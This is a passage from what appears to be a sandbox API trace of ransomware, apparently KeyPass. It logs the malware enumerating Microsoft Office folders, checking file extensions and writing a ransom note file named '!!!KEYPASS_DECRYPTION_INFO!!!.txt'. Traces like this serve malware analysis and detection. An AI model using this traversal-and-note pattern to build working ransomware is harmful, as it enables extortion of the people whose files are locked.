Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.100] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0256.100] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.101] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0256.101] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.101] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0256.101] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.101] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0256.101] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.101] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0256.101] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.101] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0256.101] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0256.101] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.101] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0256.101] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.101] GetLastError () returned 0x3f0 [0256.101] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.101] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-cht\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c0 [0256.110] GetFileType (hFile=0x9c0) returned 0x1 [0256.110] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0256.110] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0256.110] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0256.110] WriteFile (in: hFile=0x9c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0256.111] WriteFile (in: hFile=0x9c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0256.111] CloseHandle (hObject=0x9c0) returned 1 [0256.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a8b8 [0256.111] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.174] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.174] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\LocalizedStrings.xml") returned=".xml" [0256.174] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.175] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0256.175] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.176] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0256.176] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0256.177] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0256.177] FindNextFileW (in: hFindFile=0x3a0a8b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0256.177] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0256.177] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\UmOutlookAddin.dll") returned=".dll" [0256.177] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0256.177] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AdeModule.dll") returned=".dll" [0256.177] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AEC.DLL") returned=".DLL" [0256.177] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AECUTILS.DLL") returned=".DLL" [0256.177] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l1-2-0.dll") returned=".dll" [0256.177] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.177] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l2-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-localization-l1-2-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-processthreads-l1-1-1.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-synch-l1-2-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-timezone-l1-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-xstate-l2-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-conio-l1-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-convert-l1-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-environment-l1-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-filesystem-l1-1-0.dll") returned=".dll" [0256.178] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.178] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-heap-l1-1-0.dll") returned=".dll" [0256.179] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.179] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-locale-l1-1-0.dll") returned=".dll" [0256.179] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.179] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-math-l1-1-0.dll") returned=".dll" [0256.179] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.179] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-multibyte-l1-1-0.dll") returned=".dll" [0256.179] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-private-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-process-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-runtime-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-stdio-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-string-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-time-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-utility-l1-1-0.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Appshapi.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingChromeHook64.dll") returned=".dll" [0256.246] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppSharingHookController64.exe") returned=".exe" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\appsharingmediaprovider.dll") returned=".dll" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\appshcom.dll") returned=".dll" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\appshvw.dll") returned=".dll" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppvIsvStream64.dll") returned=".dll" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AppvIsvSubsystems64.dll") returned=".dll" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AUDIOSEARCHLTS.DLL") returned=".DLL" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AUDIOSEARCHMAIN.DLL") returned=".DLL" [0256.247] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.247] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 